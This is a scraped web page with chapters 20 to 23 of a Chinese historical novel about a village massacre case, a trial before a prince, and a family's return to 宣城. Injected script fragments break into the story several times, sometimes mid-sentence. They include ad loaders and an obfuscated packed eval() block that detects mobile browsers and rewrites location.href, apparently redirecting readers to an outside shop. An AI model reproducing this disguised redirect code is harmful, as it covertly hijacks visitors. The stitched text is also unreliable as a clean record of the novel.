怀永安笑出了眼泪,手上的刻刀滑了一下,没入皮肉,指尖穿来尖锐的痛:“我信你说的,这是你能想得到的最好的折衷办法了吧。” “我想让所有人少受痛苦的活着。” 怀永安没有再抬眼看路壬的眼睛,他能想得到她眼睛始终认真,刻刀一刀一刀轻刻在木头上,留下一片凌乱的痕迹:“想法没错,可以走下去。” “嗯。”路壬缓缓推门而出,又轻轻阖上了门。 怀永安像木偶一样静静僵在那里,等着脚步声慢慢走远直至消失。 相处的这些日子里,他们三人刻意忽略掉先前的不愉快,只是其间的血仇抹不掉,已存在的芥蒂也抹不掉。 伤要想好全,势必要剜去腐肉,剜到流血剜到疼痛。 忍受麻木,便需要忍受腐烂。 ——— “三哥,鬼抓到了吗?”云配回了云家一趟,云明正伏案写着文书。 见弟弟来了,云明也未抬头,只是用袖子轻轻掩住文书。 “小五来啦,查出来了,“鬼”只是院里有几个院里帮工的,嫌管家给的钱少了,便作出些吓人的事迹。” 云配不疑有他:“查出来就好,你特地从绪州告假,我还以为是什么大事。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “你想去绪州吗?我在绪州买了处小院,等我过些日子带你去,正好有个人给我翻地。” “行啊。” “那你再等一等,这几日你就在你会耍大刀的朋友那里先呆着,等我把这边事了,就去接你。” “行。” 云明抬头,见云配还没挪步…“嗯……那还有什么事吗?” “三哥,你还记得我生辰吗?” “嗯?二月十九,怎么了?” “快到了。” “放心,哥肯定给你准备生辰礼。” “三哥,我出生的时候什么样子啊?” “怎么忽然问起这个了?我想想啊。”云明趁此收拾了下桌面,磨墨展纸,画了一幅像,“呐,你小时候抱出来的时候圆溜溜的,像只粉红色的猴子。当时大哥霸占着不让我抱你,二哥有些害怕,摸了摸你手还被你一动吓着了。小四自己还小,听见你哭就在乳母跟着哭。” “哦,我是在哪个屋里生的啊?” “靠近梅林的那间屋子,大伯母陪几家夫人赏梅呢,忽然就开始肚子疼,还未等来稳婆,你就给生下来了。” “还从没听人说起过。”云配心中的石头隐隐放下。他突然降生,其中可操作处极小,梅林那几间房很小,若有其他人在场极易被发现,何况当时众目睽睽之下,再难有调换婴儿的机会。 云明拍拍他的肩:“没事,我懂,你这个年纪正是对“我是谁,我从哪里来,我到哪里去”感兴趣,哥哥都知道。” “嗯……” ——— 怀永安还是决定再探一探红叶山庄,他这次乔装打扮成一个不起眼的小厮,正欲翻窗进屋时,瞧见远处匆匆赶来的云明。 直觉告诉他此事有异,他忙跟了上去。 云明去向一处偏僻的院子,透过门缝,怀永安瞧见房中绑着十几人。 他听不真切,只模模糊糊听到了一句“……望诸位,好自为之…” 这怕是云配之前所说的“鬼”了。 也不知云家要如何处置他们。 因为见过云家人的做派,怀永安先前对云明的好印象消失殆尽。 呵,一丘之貉。 云明拍了拍手,紧接着便有一群人端着盒子进去屋里,给每人都发了一个。 怀永安看的太过入神,被一个路过的小厮瞧见。那人伸手指道:“你是哪处当差的,趴窗户上干什么?” 一时间所有人的目光皆朝他投来,连带着屋中的云明眼神中都透着锐利的光。 怀永安当即一跃上墙,翻了过去,温泉池旁原是他们村子旧地,此处地形他熟悉的很,三拐四绕就将人甩掉了。 他回到了先前发现秘籍的山洞,东西还在。秘籍字写的很小,故而虽各家纷纭,但也统共没有多少。 不世出之书,他有幸遇见便不愿让它继续再洞中蒙尘,所以纠结许久还是将书带出去。 至于院中关押的那些人,今日云家既发现已经被人瞧见,想必不会被轻易灭口,暂且徐徐图之。 怀永安回来已是深夜,第二日怀永安晨起,瞧见老邓无比心疼:“咱家这只马的后腿好好的怎么抖的这样厉害?” 20. 关山不渡失路人 怀永安回来想了许久,也不知如何去查,证据却是已经送上门了。 一个人在临安成府衙门口触柱而亡,只留了一封血书在怀。 本来死个人此事很快便会过去,掀不起什么风浪。 偏偏意王沈豫来了。 按理说一个王爷也不会管这种鸡毛蒜皮之事,只是这位天潢贵胄是个有趣人物,爱看热闹,爱管闲事,是以碰上这出事,倒成了这位王爷常羡慕的话本场景了。 怀永安赶过去的时候,只见这位王爷端正坐在正中,手中的惊堂木晃晃荡荡敲个不停。 “不公平之事常有之,上不能上达天听,下不能秉公办理,自然就需要孤这等侠义之人。” 意王让人收敛了这人尸体,又让人取了工具,自己将血书从信封中取出。 “草民有冤,云家强买耕地,驱逐村民,致使我等带着妻儿无家可归。云家下人行凶,致使村中多人负伤,无药无衣无食,老无所养,幼无所依。”意王念罢,重敲了惊堂木,将当庭众人都敲得心头一颤,“岂有此理,将云家人给我带过来。” 衙役面露难色,不知谁去当这个出头鸟。 强龙要押地头蛇,最可怜的是他们这些小喽啰。 “怎么?孤的话不管用?”他扫视一眼,堂下衙役纷纷跑了出去。 一群人在云府外不知如何是好,云家二爷可不是好相与的。 抽签抽了个最倒霉的,被指派去敲云家的门。家丁通传,来的却不是云家二爷,而是云家三公子,时任绪州录事参军。 ——— “下官云明,参见殿下。”云明穿着常服,木簪束发,行了大礼。 他今日算是被告,穿着官服不妥,碍于身份又需自称下官。 不过意王不是个介意别不别扭的人。 “你父亲云翀呢?” “秉殿下家父年迈,下官代父处理。” “那孤问你,这封信上所言可否如实?” “如实。” “那关于此事你可还有什么说的?” 怀永安在角落想听着云家如何推脱责任,只是云明正了正身子,行礼低头道:“家父年迈鲜少过问家中事宜,下面人误会错了意思,犯错之人皆已惩戒。” “如何惩戒?” “赶出云家,发卖。” “人家家破人亡,就把这些恶仆发卖即可?天下岂有这般的道理!”人群中有一个人喊了出来。 至于其余人的声音也渐渐显现。 意王听了会庭外激愤的声音后,敲了敲惊堂木:“肃静,对于这些受害的百姓,你们云家怎么说?” “自然依市面良田价格双倍赔付,凡被云家家仆强买耕地者,持文书即可去云府门口领田款。殿下在此作证,我云府说到做到。”云明直接上递了一份文书,意王命人接上来,翻看了两页便换了目光打量起云明。 “殿下,此为我查证的近两年云家账簿所得,有疑处皆已记录在册,为云家购置田产所用银两。”云明又掏出了一沓契书,“此为地契,文书上条条款款,皆有迹可循。” “既如你所说,便如此办吧,自尽之人你们家要好生安抚其家人,此案孤觉得可以结……” “慢,我有疑问。”怀永安用了先前伪装的脸,直接上堂跪了下去。 “堂下何人,你有何疑问?” “草民怀志强,状告云家强买耕地,杀人买凶。” “哦?你说。” “草民为去云府寻找线索,误至一片偏僻之地,见云公子在内院关了十几人。草民被人发现,未能搭救……” “云明,可否属实?” “属实,自年关始,家中山庄常有闹鬼之事,家中上下不得安宁,故而父亲来信召下官回家解决此事,下官布局多日,才将幕后之人尽数捉住,待弄清原委便已补过了耕地银两,并同人致歉。”答及此云明面色无虞。 “可有证明?” “如今人大约在临安城中,殿下若不信可派遣亲卫寻找。” 上座的意王轻叹了一口气:“怀志强,你可有听清?” 庭中又传来些喧闹声。 “去人家家中,莫不是贼……” “谁知道这人想干什么?” 怀永安跪下道:“草民怀志强。是为自己谋不平的。草民要状告云家强买耕地,杀人买凶。” “你不是已经告了?云明也给你解释过了。” “不够,草民前去云府是为寻找我村灭门案的证据。”怀永安重重往地上叩了三个头,“草民为村中七十九条人命鸣冤叫屈。” 咚咚咚。 路壬听过这种声音,人头落地的声音就是如此。她穿了身灰扑扑的衣服,束发整整齐齐,抱着刀斜倚在一角。 “灭门?”这与强占耕地不同,七十九条人命已是大案,“你且细细说来。” “草民村中祖居有一处温泉,云家重金欲使我等搬离,祖居之地我等不忍弃之,便推拒此事,熟料云家竟带人屠村,一把火将尸首烧的干干净净。草民当起恰好外出打猎才得以逃过一劫。” 意王正色起来,问道:“云明,你可有何话说?” “兹事体大,臣并不知事情原委,故而无从辩驳。”云明回完意王,便转身对怀永安行礼道:“不知这位公子可有证据,若云家真有此事,明绝不姑息。” “尘归尘,土归土,火烧了个干净,连我这条命都是侥幸捡来的,哪里还有什么实质性的证据?” “既无证据……” 怀永安当即打断了他,从怀中掏出一处帕子包裹的物什:“草民九死一生,曾中了一箭,箭头如今还有保存,上面刻着云家的徽记。” 箭柄被人削断,箭头上依旧沾着干涸的血,上面的祥云诡异的黑色纹路。他将东西呈上托盘,侍卫又将东西呈在意王面前。 云明瞳孔收缩,即便离着距离,他依旧可以认出那熟悉的徽记。代表着吉祥、幸福的徽记如今就这么血淋淋的印在铁器上,贯穿过一人的身躯,甚至后面还牵扯了七十九条人命。 “祥云大都有些相似,云家身负皇恩,哪里敢将徽记印在铁器之上?”云明不好将话说至无可转圜,但从大临开国以来便 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 禁止百姓及世家私藏甲胄弓弩,私造铁器是重罪。 堂上人是意王,更为清楚其中关窍。 怀永安露出那块曾经被箭贯穿的皮肤,笑道:“那草民便不知道了,草民是没有胆子将箭自己造出来又捅在自己身上的。” “请问公子是在何时何处被刺?” “去岁腊月十七,于京郊被刺。” “临安距京城千里,若要刺杀何至于让公子行至京城?” “谁知道呢?草民摇了三日的辨金铃,许是天高云密,诉苦无门。”怀永安磕完头又直直挺起身子,丝毫没有在意自己的一句话会掀起多大波澜。 意王脸色也沉了下去,天高是指世间民生疾苦不能上达视听,云密是指云家势大只手遮天,故而纵有天大的冤仇却无处求告。 此局,明棋上云家牵扯甚多,或需断臂求生。暗棋上来说,怀志强已入必死之局。 老干虬枝非骤然的风可撼动。 自然三朝首辅的云家也不是一个来路不明的怀志强可以左右。 “此案案情复杂,云明你先将前案结清,后来的案子限你一月将事情原委调查清楚,给孤一个交代。”意王敲了下惊堂木,起身去了后殿。 意王留不了临安,临安留不住青天。 怀志强是原告,依照《大临律疏》不该被收监。 “怀志强”依旧跪着,叩了头道: “草民谢殿下愿为草民查证此事。” 意王爱管闲事,却不希望闲事管到自己身上。只他到底是有一分悲悯之心,悄悄遣人告知“怀志强”道:“是非之地,伤神伤身,徒劳其忧。” “多谢殿下。世事沉浮不定,草民望不负殿下所托。”怀永安笑着行礼,眉眼弯弯,藏匿沉沉海雾。 临安的百姓见怪不怪,明天就不会有人记得一个怀志强的人,对着意王当庭状告。 草芥而已,还是太轻太轻。 云府仆从跟着“怀志强”经过一处乱巷时跟丢了。 云明手中的箭头捏着发烫。是意王塞给他的,拍了拍他的肩道:“好自为之。” ——— “明儿,你今日错了。”云翀在祠堂大殿双手带着手套上香,右手小指始终僵着。 云明就跪在正中,只是肩背有些垮:“孩儿愚钝,不知何处错了。” “你今日就不应该上堂。” “意王坐镇,父亲,云家不派人去当真是要反了天吗?” “放肆。”云翀吼了一声。 “孩儿明白,父亲借修红叶山庄一事强占良田,是想打消陛下对祖父、伯父和云家的疑虑。可是父亲……”云明叹了口气,有人没等到他们的补偿。 三朝首辅,世代簪缨,他们当真出不起金银?不,不是,这个冬日流离失所的百姓,他们只是再君上臣下博弈的一步罢了。 “本以为你能跟着梁钧能心狠一点,未曾想还是如此懦弱。此事你不必管了,为父自有安排,你就在祠堂跪上三日反省,跪完便回绪州吧。”云翀推门而出。 门外明月高悬,云明头伏在地上,影子被扯的七零八落。 21. 休使圆蟾照客眠 “回来了?”路壬在祠堂避风处抱刀而立,冷不丁冒出一句,吓得怀永安浑身发麻。 怀永安温声道:“你也回来了?” 路壬点了个头,算是对上个问题的回应:“甩掉了?” “甩掉了。” 路壬冷声笑道: “真当这事一下揭过呢?” “他找不到我。就算想灭口又能怎么样?众目睽睽,王爷、百姓,他云家是要把在场的人眼睛挖了吗?”怀永安漫不经心的取出三根香点燃,又阖手拜了下排位。 “我们这行砍人脑袋的时候,最好是一刀就能下去,否则犯人会挣扎,可能会弄脏衣服,可能会弄脏刀,也可能会弄伤自己。不能一击毙命会付出额外代价的。”路壬用软布擦着自己的大刀,刀把上还缠了一层布。 “准备救我啊?”怀永安笑了笑,对着卢家祠堂中的牌位跪下磕了三个响头,双手合十道:“列祖列宗在上,保佑我大仇得报。” 路壬移开自己的目光,觉得有些好笑。 怀永安这时转了头道: “如果我不能报仇,麻烦到时候把我埋到云家祖坟里去,我缠死他们。” “……” “我开始懂兄长了,你说当庭的百姓他们知晓善恶,只是只敢旁观,他们心中也许有什么道义使然,但强权面前他们也就敢站一站,指望这个时候出现一个英雄主持公道,那么那个时候他们就是公道的一边,尽管他们只作为一个动动嘴皮的目击者。 意王呢,他想逍遥,想弃恶扬善,却只是小打小闹,对于那个撞死的人,他甚至都不知道那人姓甚名谁,他只当一个他侠义路上的例子,并不在意那人用一条命换来的东西是否公平。 明明他手中有极大的权柄,他也只是站在权贵的一边,假模假样的提醒我早点放弃。 摇摆不定的正义,不是正义。 至于云明……他就像云配一样,是个好人。他在用他自己的办法补救,可真正触及他家族利益的时候他能怎么办,他依旧是让这件高高拿起的事情好好放下。 人啊,坏的不彻底,好的不干脆,所以挣扎其中。”他说的连贯,却又话锋一转,“我方才又细细想了下,卢家有些问题。” 路壬不明所以:“怎么又扯到卢家去了?” “我们“父亲”的死,不对劲。极有可能是被人害了。” “何以见得?” “大兄触柱而亡,若是兄长当时就已有心,大可假死脱身,身后的卢家自有父亲支撑,何至于等到人没了,让我们两个冒牌货接手。 在段时间中,最大的变数也就是卢家家主死了。”怀永安拜了一拜便站起了身。 路壬顺着他的话说了下去:“所以你猜这个害死卢家家主的人,一定位高权重,才会让兄长决定抛下一切,奋力一搏?” “无论兄长做什么决定都不要紧,接下来的事情你听我说。 别管临安的事了,带着云配还有邓叔他们,回宣城。起家之地,卢家一定还有其他的依仗。非到万不得已时,不要用家财换东西。若是无计可施、山穷水尽,便去投奔梁兄长,还是望你走不到这个地步。 至于云配,他的身世你我不在乎,你可知谁会在乎?最在乎的不是云家,是宫墙里的那一位。 归海,你们查出来的应该是这个姓吧,十几年前平叛反水,被朝廷灭门,据说没留下一个活口。 你若要查云配的身世,别从云明云焕身上找,关键是云配的母亲,若是他身世有异,作为一个亲历者她知道的更多。” “知道了她也不一定告诉我们,告诉了也不一定是真话。” “身世起疑的原因不外乎三种。 一,云配爹不是亲生的; 二,云配娘不是亲生的; 三,云配爹娘都不是亲生的。 找到云配是在什么情况下生的,有什么见证。在此条件下那就只有一种可能,云配在她娘肚子里时,就是归海家的遗孤了。 这便是另外一个问题,云配的生辰与归海家问斩的时间差了十月以上,那就是在云配出生前十月里,还有归海家的人活着,或者发生了什么变数。 你去查这个活口,从归海家去平叛开始查。 如若依旧没问题,那云配的十有八九是云家人。或许有什么让人匪夷所思的手段也说不准,但若是查他身世,止步于此。” “为何?” “因为身世不重要,身世在活人身上才是身世,死人身上那是前身,像云配这种无妻无子的,身世卡这就断了,没什么意义。首先保证云配活着。 其次归海家大概牵扯到什么震惊朝野的秘辛,非必要切勿追查,个中牵扯怕是任何一个世家大族难以相接。 再往后很多人可能会想杀他。 但没关系,必要时把这个身份抛出去。” 路壬垂睫,笑道: “这身份哪里容易出去,太能惹麻烦了。” 怀永安回头笑着看着路壬:“怀永安,云家屠村就是为了掩盖这个秘密,为了隐藏归海家的遗孤,甚至不惜用自己亲生的孩子去替换,到底是出了三朝首辅的云家,何等的忠义节烈。 我说的这个故事,记住,记清楚,但先不要同云配讲。 那块牌子在云配手里,让他刻上个隐秘些的印记,必要时这种东西或许用得上,早做准备。” “你想干什么?” “小路,我要走了,这世间的公道不是靠律法和证据就能得到的。我要寻一条我自己的道,也要替像我一样卑贱无处喊冤的人走出一条道。” 路壬望向怀永安,她知晓他是个很通透的人,想的清楚很多事。 “你会找得到的。” “是啊,是。”怀永安笑着又朝蒲团轻松一跪拜,松快的出了门。 “你去见云配吗?” “不去了,省得大家都不痛快。不过你说的对,他确实是个好人。”怀永安的剑就斜倚在柴堆旁,灰扑扑的,像是已经烧过又被泼水的炭。 路壬用刀撑着坐在蒲团上,就这么看着檐上雪,雪融了,屋檐滴滴答答的不停。她伸出手挡了挡上头有些刺眼的阳光,想到未知的未来,没由的想哭。 她在祠堂呆了很久,直到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老邓来喊她吃饭时,她靠着放着灵位的桌子睡着了。 “家主,家主,怎么睡这儿了?怕是要冻着。”杉宁给她抱了个厚的外衣披上。 老邓看她醒了欲言又止,手上拿着一个包袱:“家主这,公子他跟我支了二十两银子出门了,他说这是留给家主和云公子的。” “嗯,我们也走。” 老邓摸不着头脑:“走,咱们去哪?” “回宣城的家。” “不等公子回来?” “不等,他到时候直接去宣城。”路壬撑着刀起来,“邓伯,把动不了的东西都卖了,田舍留着,牌位带走,其余的东西让大家看着带吧,总归是要回来的。” 老邓放下手中物什转身欲走,听到路壬又加了一句道:“该是给云家递个帖子……邓伯,你再让人写个帖子给云三公子,就写我们先回……绪州了。” “好。” 本就是处小院,故而物什也不多,人也少,剩下的人和物套了几个车便容下了。 “家主我长这么大还没出过临安呢,宣城怎么样会比这里更好些吗?” 路人犹豫片刻道:“起家之地,房子还是要比临安要大一些的。” 宣城,希望是个好地方。 云配愿意跟他走,只是听到怀永安走了的时候表情很是复杂。 “怎么就,走了呢?” 他一直喃喃重复这句话,自己钻了个存物的马车,躲了进去。 路壬翻看着一本剑法,精妙简短,很是受用。怀永安一整个包袱里都是书,他只留了个纸条:“高人秘籍,留给你们学啦。” ————— 他们行至宣城正巧是早晨,夜长梦多,连夜赶的路。 天光熹微,炊烟四起,马蹄惊醒长街,街市上店家支着摊子,叫卖声渐渐清晰起来。 卢宅的大门总算是重新装上了,二狗重重地叩了五下,依旧不动如松。 不过片刻便有人来开门,是已穿戴整齐的卢辛。 “家主回来了。”卢辛笑着招呼院里人过来搬东西。 门口霎时间热闹了起来。 路壬趴门上闻了闻,“还是那个味。” “新换大门太过扎眼。不过家主不用担心门倒了。” “修的还挺快啊,其他地方可都有修缮?” “有的,修缮了前厅,及后院的十七间房子,又添置了些新床塌,门窗皆已修补,各房业已添置了炭火。”卢辛变戏法似的从袖中掏出份单据,塞给路壬。 “你做事我放心的,还是先寻处空荡地方把东西安置了,我去将牌位请进去。让人给我们准备些吃食,寒夜行车,实在疲累。” 卢辛一一应下。 路壬抱着所有的牌位摆到祠堂时,日已上三竿。 待她好不容易用膳后,躺上床,忽才想起安顿云配。 正巧杉宁来送茶,路壬便问道:“云配呢?” “管家直接安排在另一处的小院了,云公子说他想静静。”杉宁看着路壬没什么变化的表情,试探道,“家主,静静是谁啊?” 22. 强移栖息一支安 冲动回家的结果就是没人能给帮忙兜底,以至于路壬只能坐在正堂绞尽脑汁想想自己怎么撑起来卢家。 世家之所以是世家,是因有可世代相承的官位,再王朝的某些决策上,仍占有一席之地。 五王兵乱后,卢家实在没人了。卢父一生只得二子一女,只是现下只剩她一个冒牌货。 原本卢氏宗族之中,仍有许些子弟入世,但已与他们这支分家,到了老死不相往来的地步。 自卢父致仕,卢叙身亡,卢家便已经算不得什么世家了。 如今科举取士,且不说她女儿身,单论她的才学哪里够中举的。 从商?家产怕是会被人盯上,何况她也不会经营…… 务工?卢家现下大部分是老弱妇孺,不至于混到一家人去扛麻袋。 要不种地吧……横竖还有许多田产,后面几年天下并不太平,天灾人祸,能安稳吃顿饭都是难事。 路壬便问一旁端坐品茶的卢辛道:“咱们家中宣城还有多少田产屋舍?” 卢辛放下手中茶盏,一一细数起来:“屋舍不多,除去临安一处,四五镇一处,也只有这老宅了。 至于田产,五王兵乱后,收回来的土地唯宣城二百三十七亩,临安一百零三亩,宁国二十八亩。 其中宣城一百八十五亩已经租于佃农,另外五十二亩是府中人种的,自给自足,以备不时之需。临安九十八亩租于佃农,余下五亩为临安府中人所耕种,宁国二十八亩已全部租于佃农。” “可有舆图?” “有,家主稍待,辛这便取来。” 少时,卢辛便将图取来,舆图上标画很是清晰,连带地形都一一画出。 路壬指了一处几城交汇的山地,抬头问道:“这块是谁家的地?” 他扫了一眼道:“为无主之地,不过此地陡峭,多山石,树木丛生,实不宜兴农事。” “此处有小山泉?” “有,只是若为垦田,代价过大……” “将这块地周边的地买下来,价格比市价高一点点便可。” “买地好说,只是家主要做什么呢?” “修山庄。”云家给的现成的理由,“依山傍水,不是挺好?” 卢辛了然一笑:“那真实理由是?” “此地极适合占山为王,易守难攻,边界交汇处的无主之地,官府更是不好管。” 乱世之中,隐于尘烟,避开兵乱,就已经是幸事。 “家主豪情壮志,辛这便去办。” —————— 云配看着怀永安留下的书,五味杂陈,“他还这样年轻,怎么就走了?” “年轻不才应该走一走?”片刻,路壬知晓可云配的伤心之处,“啊,他活着呢,就是单纯出去走走……” “……” “……” 二人沉默许久,路壬礼貌性伸出手拍了拍云配的背,当即转身关门一气呵成。 对内对外,路壬皆宣称,卢绘公子是外出求学。 路壬在宣城也不指望其他事情,只指望着能带着卢家老小安安静静的呆着便好。 路壬和怀永安看过名录,厚厚的一本是新墨,留在宣城的许些人,大概是追随卢献的人的家眷。 卢家重回宣城,宣城本地的豪强大约会有些意见。总会要找些事,交个手,探探卢家新家主的虚实。 虚了,就把卢家吃掉。 当然,路壬还是期望多一事不如少一事,但若真有人来,也没什么办法,总有人想尽办法让你吃苦头。 不到三日,便有拜帖上门。 “事儿真多!”真想借一张要命的嘴骂出来。 宣城豪强的帖子,帖子上都没什么客气的话,路壬推拒两次后,帖子才写的规矩了些。 再一再二不再三,总归是要去的,路壬便没有再推拒。 路壬本想问问云配去不去,只是转念一想,鸿门宴凶险,还是不带他了。 路壬换了身正式些的女子装束,头上发饰一切从简,生怕别人瞧着不庄重。 只是为了有些安全感,路壬还是佩了刀。 徐家,司家,成家,左家……宣城大大小小的世家怕是今日都在宴上。 这次宴会是在左家宅邸。门口停着各府马车。 路壬扫视了一眼,便跟随左家下人领路去了前院。 其实有些格格不入,男女坐席分开,在座众人皆是男子,路壬女家主的身份倒显得于哪出都不合适。 “贤侄到了,快快落座。与尔父过去一别,竟也隔了生死,我等老人早就想见你了。”主座的人发了话,应当是左家家主左忱。 “晚辈卢望,左伯父安好,各位叔伯安好。”路壬行礼落座,不再发话。 “二郎听说也……哎,贤侄节哀。”靠近主座的一位开了口,话仍是对着她说的。 “家兄新丧,是非之地,故复旧居,最近怕是叨扰诸位叔伯。”路壬颔首轻叹。 左忱说的体贴,座上众人一唱一和:“若是某处用的上我等老家伙,贤侄尽管来。” “自然不会与各位叔伯客气。” “听说二郎还认了一个弟弟,不知为何今日未见另一位贤侄呢?” “回左伯父,家中落败,他外出求学去了。兄长不在我二人总要撑起门庭。” “该是如此,该是如此。” 在坐豪强何尝不想撑起门庭,五王兵乱后,世家损失了太多人,整个朝局说句换血也不为过。 根繁叶茂的世家,就像被一把大火点燃,只留下一些残根余烬,不上不下,没有权柄,守着拼死护下的钱财,苟延残喘。 归根结底,没有权力的世家,终究是贴上金箔的纸壳。 幸运一些的世家也有,比如梁家,外戚权臣,总不至于行至边缘。 更不幸的世家也有,一门麒麟子皆命丧黄泉,连科举取士都要等上至少三年,说的就是卢家。 故而在接下来的日子里,就看接下来卢家想在宣城中处在什么位置。 如果真要争个高低,怕是要头破血流。 “家中此事,只盼能与家中人安然度日,其余另作打算。”吃不掉别人的时候,就要懂得蛰伏。 “卢家妹妹,莫愁千里路,自有到来风。”一个身着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13937820|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绯衣的公子朝她举杯。 “你倒是会安慰你卢家妹妹,阿望啊,这是你成伯伯的次子成朗。” 路壬举杯相嘱:“自当勉励。多谢成家兄长宽慰。” 虚伪的客套实在无聊,路壬看着一旁打盹的杉宁,自己也想打个哈欠。 主人家还准备了些游戏,什么曲水流觞,琴棋歌舞。 杉宁已经困的站着都快睡着了。 这时候有个不速之客闯了进来。栗色而蜷曲的长发,翠色的眼睛。异族人? 那人手上拿着菜刀,手腕和脚腕处有锁链的伤痕,衣不蔽体,上身近乎裸露,脸上也不干净,尽是血污。 大概这桌只有路壬一个女子,他大抵觉得最易挟持。 路壬瞧他持刀冲来,左手轻握住他的手腕,往后一滑,一扯,当即将人一下背摔,打倒在地。 路壬拧住他的手腕,将他手中刀卸下来。 在座众人目瞪口呆,不知说什么是好。 “贤侄好本领啊,可是在哪里学过这等利落功夫?”左忱力求不让每件事都掉在地上,故而直接张口问道。 “维持生计罢了,算不得本事。” “可否再给我们开开眼?”众人倒是一直并未关注过被路壬打到在地的人。 “这是个活计,诸位,我并不以此为乐。” 成朗替众人开口道:“只是长辈们鲜少见这等精妙的功夫,想着开开眼,卢家妹妹莫要误会。” 话至如此,路壬不好拒绝:“公子说个喜欢的数字?” “嗯?八?” 路壬将一块手臂粗的虬枝抛向空中。 众人只来得及瞧见一道白光便听到木头扑棱怕啦落地。正正好好均分切成了八块。 路壬抬眸看向众人,面上没有一丝笑意:“年少时,身无长物,只寻了一处刽子手的差事。” 众人的热络当即便消散下去,成朗也不怎么作声了。所有好意的,揣测的,试探的,恶意的图谋都沉寂下去。 路壬已经习惯了这种目光,一种她怎么配与之为伍的目光。 无甚重要。 倒下的异族人被家丁按在地上,脸上沾满尘土。 “左伯父,这个人是谁?”路壬想问下这人背景。 难道是槿国人,宣城既非边陲,又非海滨,怎么会有槿国人来此? “只是家中一个不听话的奴隶罢了。” “左伯父,借一步说话。” 左忱不明所以,跟着路壬找了处僻静地界,只是大庭广众之下的借一步说话实在是欲盖弥彰。 “晚辈从京中来,朝中正在与槿国议和。” 话不必续下去,左忱已经在思考了。 如今临近春闱,他们这样等着家中孩子上榜的心弦一直紧紧绷着。万一在张榜之前被人参上一笔队议和包藏祸心,实在是得不偿失。 五王兵乱后,世家权利被削弱,世族子弟若是要入朝为官,走荫封只能得到些闲职,一辈子都爬不到权利中心。 故而科举对他们这等是天下头等大事。 可这异族奴隶该如何是好,总不至于就地杀了吧。 23. 江上危楼愁独倚 “左伯父,他可知晓自己身处何处?” “应当不知。” “那便好办,众目睽睽之下,若是杀他难保给他人留下话柄,不如寻个去槿国的商队捎带过去,将他扔在两国边陲。 他能活下来大概也就是回槿国,他若是死在边陲,两国暂时盟约未立,也寻不到我们此处的错。 再给他留些银钱,若有人问起也是左府心善,救了这槿国人,又给足了盘缠,只是他时运不济,竟为未撑到回国。” “贤侄真是聪慧。” “左伯父谬赞。” 这不失为一个简单可行的办法。对于左忱,他们这种人家,即使到了这个地步,也不会用心力去处理这等琐碎事。其实直接将人扔到深山野林更为简单。 路壬依稀记得,似乎有个宣城的人家,在从这的几年后被灭了门,据说好像是异族人做的,之后不了了之了。 …… 应该不是左家吧。 异族奴隶被带过来时,满脸愤恨。 路壬蹲下,两根手指抬起他的下巴。 “你主家仁厚,故而送你归国,别另生事端好吗?” 那人其实没听懂,路壬当即拔刀插在他的面前一寸。银白的刀刃距他眼睛只在半寸剑。 “懂吗?”路壬莞尔一笑。 异族奴隶点了点头,连带一旁的左忱都迟钝的点点头。 左府的小厮直接将人塞进马车带离府,阖府客人并不完全知晓事情的来龙去脉,只是见路壬拿着刀站在左忱身后下首,面带笑意。 无人知晓为何此刻左忱显得对路壬一个小辈如何慈爱。众人一时不知所以,这与他们先前相商并不一致。 有人似乎想要左忱给些提示,被左忱瞪了回去。 接下来的宴会,宾客尽欢。 云配担心路壬不会应对世族,匆匆赶来接她时,刚好碰上路壬拜别各府大人,便没有上前。。 金光满地,路壬都觉得有些暖洋洋的慵懒。云配和二狗坐在马车边缘,手里拉着缰绳。 头上的玉冠透着琥珀色的光,他背着光,远远的看不清他的五官,只是路壬总觉得云配在笑。 人们常常会想象什么样的人,会在什么合适的场景下,做一些合适他身份的动作。 路壬慢慢走近,才发觉云配一直在盯着她的方向。 随意散漫的姿势,几绺碎发搭在额前,一双眼睛就那样自然地,无悲无喜地望着她。 她冲云配笑笑,便扯着裙子上了马车。 “走吧。” 云配缓缓应声,扯着缰绳赶着马车回了卢府。二狗只好抓紧车楞,免得自己一不小心被甩了出去,家主看样子不太记得他也来了,若是他掉路上,怕是要走回家了。 其实眼下卢家和其他家族没什么利益冲突,故而今日才如此好解决。 目前这一关倒是过了,剩下的眼下还不着急。 接下来要干什么呢? 路壬想的头疼。若是她先前没辞去刽子手的差事,只需要为没有银子发愁,现下她除了银子,哪哪都发愁,这很难讲,大概是特定环境下的特定状态。 想了许久路壬还是打算卢辛查一查那个异族奴隶的来历,一个槿国人怎么就那么巧被当成奴隶卖到了这里。 杉宁正好端饭给她过来:“家主,邓伯今晚去买的鱼,都活蹦乱跳的,怕家主今日宴席吃腻了,便做了些鱼皮冻清口。” 临安的四人安排在宣城这边,邓伯依旧是管家,刚好卢辛并不喜欢与内院的琐碎事情打交道,邓伯年迈又不好处理外事,二人也都能稍微闲下些。 至于吉诚,二狗也就是在家里帮帮忙,杉宁也算成了路壬这个家主的贴身侍女,必要时跟她出席一些场合。 不过路壬起居一向习惯自己一人,杉宁的活计也不多。 “哦,行,云公子吃了吗?” “饭菜一起送过去了,这会应该吃了。” 路壬起身接过托盘,端着菜去找云配。 云配已经用完膳,坐在桌前画着图。 路壬将菜布上,直接吃了起来。 “你在画什么?” “在看秘籍中的一本——《金石镂》,里面有些机关,我试试能不能做出来。” “竟是一本机关书?我原本以为是篆刻相关的秘籍,翻都未翻。” 